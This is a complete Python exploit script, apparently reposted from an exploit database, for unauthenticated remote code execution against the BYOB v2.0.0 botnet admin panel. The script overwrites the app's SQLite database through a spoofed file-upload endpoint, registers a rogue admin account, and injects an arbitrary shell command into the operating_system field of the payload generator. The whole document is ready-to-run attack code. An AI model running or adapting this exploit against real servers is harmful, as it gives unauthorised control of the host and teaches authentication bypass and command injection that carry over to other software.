Share
## https://sploitus.com/exploit?id=1337DAY-ID-39722
# Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)
# Date: 2024-08-14
# Exploit Author: @_chebuya
# Software Link: https://github.com/malwaredllc/byob
# Version: v2.0.0
# Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy
# Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page
# Github: 
# Blog: 
import sys
import json
import base64
import string
import random
import argparse
import requests

from bs4 import BeautifulSoup


def get_csrf(session, url):
    r = session.get(url)
    soup = BeautifulSoup(r.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
    return csrf_token


def upload_database(session, url, filename):
    with open('database.db', 'rb') as f:
        bindata = f.read()
    data = base64.b64encode(bindata).decode('ascii')
    json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"}
    headers = {
        'Content-Length': str(len(json.dumps(json_data)))
    }
    print("[***] Uploading database")
    upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers)
    print(upload_response.status_code)
    return upload_response.status_code


def exploit(url, username, password, user_agent, command):
    s = requests.Session()
    # This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process
    filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"]
    failed = True
    for filepath in filepaths:
        if upload_database(s, url, filepath) != 500:
            failed = False
            break
    if failed:
        print("[!!!] Failed to upload database, exiting")
        sys.exit(1)

    if password is None:
        password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)])
    print(username + ":" + password)

    register_csrf = get_csrf(s, f'{url}/register')
    headers = {
        'User-Agent': user_agent,
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    data = {
        'csrf_token': register_csrf,
        'username': username,
        'password': password,
        'confirm_password': password,
        'submit': 'Sign Up'
    }
    print("[***] Registering user   ")
    regsiter_response = s.post(f'{url}/register', headers=headers, data=data)
    print(regsiter_response.status_code)

    login_csrf = get_csrf(s, f'{url}/login')
    data = {
        'csrf_token': login_csrf,
        'username': username,
        'password': password,
        'submit': 'Log In'
    }
    print("[***] Logging in")
    login_response = s.post(f'{url}/login', headers=headers, data=data)
    print(login_response.status_code)

    headers = {
        'User-Agent': user_agent,
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    data = f'format=exe&operating_system=nix$({command})&architecture=amd64'
    try:
        s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001)
    except requests.exceptions.ReadTimeout:
        pass


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True)
parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin')
parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None)
parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36')
parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True)

args = parser.parse_args()

exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command)